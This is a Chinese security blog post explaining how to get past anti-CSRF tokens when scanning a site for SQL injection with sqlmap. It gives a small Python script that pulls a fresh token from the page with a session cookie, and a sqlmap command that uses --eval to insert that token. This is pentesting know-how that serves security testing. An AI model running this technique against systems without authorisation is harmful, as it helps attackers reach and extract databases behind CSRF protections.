蜗蜗侠's Blog-关注网络安全移动版

主页 > 技术笔记 >

csrf配合sqlmap绕过token

csrf token,每次提交一个页面都会改变的值。 网上很多教程都说burp结合sqlmap绕过csrf,个人感觉很麻烦,后看到外国牛人的writeup,介绍了sqlmap配合脚本脚本绕过csrf 的限制,感觉比结合burp方便。首先我们需要写一个脚本,先获取csrf的值,然后结合sqlmap的--eval参数就可以绕过csrf。原理其实很 简单,分两步走,第一步获取页面csrf的值,然后以获得的值加入header中结合sqlmap再加载漏洞脚本测试网站。

比如下面是获取csrf的Python脚本getCsrf.py

[html] view plain copy 在CODE上查看代码片派生到我的代码片
  1. import urllib2  
  2. import re  
  3.   
  4. def get_csrf():  
  5. # Load a page to generate a CSRF token  
  6. opener = urllib2.build_opener()  
  7. opener.addheaders.append(('Cookie', 'PHPSESSID=<insert Sycamore session id>'))  
  8. page = opener.open('http://<insert host>/blog.php?view=2').read()  
  9.   
  10. # Extract the token  
  11. match = re.search(r"window\.csrf = '(.+)';", page)  
  12. return match.group(1)  

把这个脚本放在sqlmap同目录下,kali是在/usr/share/sqlmap/

然后抓取页面的包,命名为test.txt

运行命令(抓的包csrf值不用改,sqlmap会自动加载脚本替换csrf的值)

[html] view plain copy 在CODE上查看代码片派生到我的代码片
  1. sqlmap -r test.txt --eval="import getCsrf;csrf=getCsrf.get_csrf()"  

其他命令就和普通sqlmap用法一样,比如-p指定参数等。

(责任编辑:蜗蜗侠)